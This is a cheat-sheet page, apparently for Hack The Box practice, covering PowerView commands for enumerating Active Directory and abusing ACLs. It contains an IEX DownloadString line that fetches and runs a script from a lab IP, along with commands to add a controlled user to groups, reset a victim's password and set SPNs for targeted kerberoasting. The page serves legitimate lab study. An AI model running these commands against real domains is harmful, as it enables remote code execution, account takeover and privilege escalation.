PowerView

PowerView is the PowerShell counterpart of bloodyAD and BloodHound queries. From a Windows shell (Evil-WinRM) it lets you enumerate and exploit ACLs without routing traffic outside, passing credentials with -Credential.

Platform
Windows (PowerShell)
Official site
github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
On HTB
4 machines
Install
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')

PowerView cheat sheet

Your values Saved in this browser and applied to every cheatsheet.
7 commands

Enumerate

Users with an SPN (kerberoastable) Target
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
Interesting ACLs in the domain Target
Find-InterestingDomainAcl -ResolveGUIDs
Domain trusts Target
Get-DomainTrust

Abusing ACLs

Credential of the user you control Target
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('box.htb\usuario', $pass)
Add yourself to a group Target
Add-DomainGroupMember -Identity 'NOMBRE DEL GRUPO' -Members 'usuario' -Credential $cred
Reset another user's password Target
Set-DomainUserPassword -Identity victima -AccountPassword (ConvertTo-SecureString 'NuevaClave123!' -AsPlainText -Force) -Credential $cred
Set an SPN to kerberoast it (targeted kerberoasting) Target
Set-DomainObject -Identity victima -Set @{serviceprincipalname='pwn/pwn'} -Credential $cred

HTB machines where PowerView is used

Taken from the chapters of IppSec videos where PowerView shows up. The ▶ link jumps to the minute of that part.